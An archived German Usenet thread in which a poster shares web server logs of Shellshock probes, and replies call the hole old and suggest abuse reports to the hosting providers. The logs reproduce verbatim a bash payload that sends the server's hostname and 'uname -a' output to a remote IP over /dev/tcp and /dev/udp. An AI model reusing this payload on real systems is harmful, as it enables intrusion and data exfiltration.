Google Groups no longer supports new Usenet posts or subscriptions. Historical content remains viewable.
Dismiss

aktuelle rootkit-virus scanner (hacking/hacker bots)

5 views
Skip to first unread message

DHPoster

unread,
Mar 9, 2015, 6:14:27 PM3/9/15
to

Hacker:
----------
62.193.193.198
vds-992398.amen-pro.com - - [08/Mar/2015:23:50:21 +0100] "GET
/cgi-sys/php5 HTTP/1.1" 403 10069 "() { :;}; /bin/bash -c \"echo

vds-992398.amen-pro.com/cgi-sys/php5 > /dev/tcp/62.193.192.103/23;
/bin/uname -a > /dev/tcp/62.193.192.103/23; echo
vds-992398.amen-pro.com/cgi-sys/php5 >

/dev/udp/62.193.192.103/80\"" "() { :;}; /bin/bash -c \"echo
vds-992398.amen-pro.com/cgi-sys/php5 > /dev/tcp/62.193.192.103/23;
/bin/uname -a >

/dev/tcp/62.193.192.103/23; echo vds-992398.amen-pro.com/cgi-sys/php5 >
/dev/udp/62.193.192.103/80\"

----------
s15751196.onlinehome-server.info - - [08/Mar/2015:22:58:09 +0100] "GET
/cgi-sys/php4 HTTP/1.1" 403 10069 "() { :;}; /bin/bash -c \"echo

s15751196.onlinehome-server.info/cgi-sys/php4 >
/dev/tcp/62.193.192.103//23; /bin/uname -a >
/dev/tcp/62.193.192.103//23; echo
s15751196.onlinehome-server.info/cgi-sys/php4 >

/dev/udp/62.193.192.103/80\"" "() { :;}; /bin/bash -c \"echo
s15751196.onlinehome-server.info/cgi-sys/php4 >
/dev/tcp/62.193.192.103//23; /bin/uname -a >

/dev/tcp/62.193.192.103//23; echo
s15751196.onlinehome-server.info/cgi-sys/php4 > /dev/udp/62.193.192.103/80\"
----------


http://www.budich.org/public/hakker2.htm

Juergen P. Meier

unread,
Mar 10, 2015, 1:41:10 AM3/10/15
to
Ein Pseydonymer "DHPoster <Schutz...@tracepack.de>"

> Hacker:
> ----------
> 62.193.193.198
> vds-992398.amen-pro.com - - [08/Mar/2015:23:50:21 +0100] "GET
> /cgi-sys/php5 HTTP/1.1" 403 10069 "() { :;}; /bin/bash -c \"echo

*Gaehn* Sicherheitsluecke von vorgestern (letztes Jahr).

> vds-992398.amen-pro.com/cgi-sys/php5 > /dev/tcp/62.193.192.103/23;
> /bin/uname -a > /dev/tcp/62.193.192.103/23; echo
> vds-992398.amen-pro.com/cgi-sys/php5 >

> [WERBUNG ENTSORGT]

Solltest du nicht lieber einen Abuse-Report direkt an AMEN schicken?

Jens Hektor

unread,
Mar 10, 2015, 5:30:58 AM3/10/15
to
Nun ja, Werbung hin oder her, der onlinehome-server spielt da auch mit.

Ob als forwarder oder weil auch zerlegt, an 1&1 kann man auch 'ne Meldung schicken.
0 new messages